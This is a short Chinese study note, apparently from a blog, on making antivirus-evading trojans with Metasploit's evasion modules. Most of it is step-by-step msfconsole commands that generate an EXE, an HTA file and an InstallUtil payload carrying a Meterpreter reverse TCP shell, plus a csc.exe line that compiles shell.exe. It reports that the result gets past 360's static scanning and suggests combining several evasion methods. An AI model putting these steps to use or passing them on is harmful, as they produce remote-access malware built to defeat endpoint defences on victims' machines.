免杀马学习(MSF Evasion)

2023年将会持续于B站、优快云等各大平台更新，可加入粉丝群与博主交流:838681355，为了老板大G共同努力。

前言

仅供学习，入行前的笔记，关于免杀效果请勿喷

用法

原理：混淆加密绕过
Evasion模块：
   0  windows/applocker_evasion_install_util                        normal  No     Applocker Evasion - .NET Framework Installation Utility
   1  windows/applocker_evasion_msbuild                             normal  No     Applocker Evasion - MSBuild
   2  windows/applocker_evasion_presentationhost                    normal  No     Applocker Evasion - Windows Presentation Foundation Host
   3  windows/applocker_evasion_regasm_regsvcs                      normal  No     Applocker Evasion - Microsoft .NET Assembly Registration Utility
   4  windows/applocker_evasion_workflow_compiler                   normal  No     Applocker Evasion - Microsoft Workflow Compiler
   5  windows/windows_defender_exe                                  normal  No     Microsoft Windows Defender Evasive Executable
   6  windows/windows_defender_js_hta                               normal  No     Microsoft Windows Defender Evasive JS.Net and HTA

生成exe
msf5 > use windows/windows_defender_exe
msf5 evasion(windows/windows_defender_exe) > set filename payload.exe
msf5 evasion(windows/windows_defender_exe) > set payload windows/meterpreter/reverse_tcp
msf5 evasion(windows/windows_defender_exe) > set LHOST 10.211.55.3
msf5 evasion(windows/windows_defender_exe) > set LPORT 3333
msf5 evasion(windows/windows_defender_exe) > run
生成HTA
> use windows/windows_defender_js_hta  
> set payload windows/meterpreter/reverse_tcp
> set lhost 10.211.55.2
> set lport 3333
> run
生成install_util
> use windows/applocker_evasion_install_util
> set payload windows/meterpreter/reverse_tcp
> set lhost 10.211.55.2
> set lport 3333
> run

最高管理员权限：
csc.exe /out:shell.exe C:\Users\Administrator\Desktop\install_util.txt

免杀分析：
静态查杀过360

动态被查杀：

总结

制作免杀马手段最好还是用多种免杀手法去进行，单一的免杀制作现在已经过不去大部分杀软了。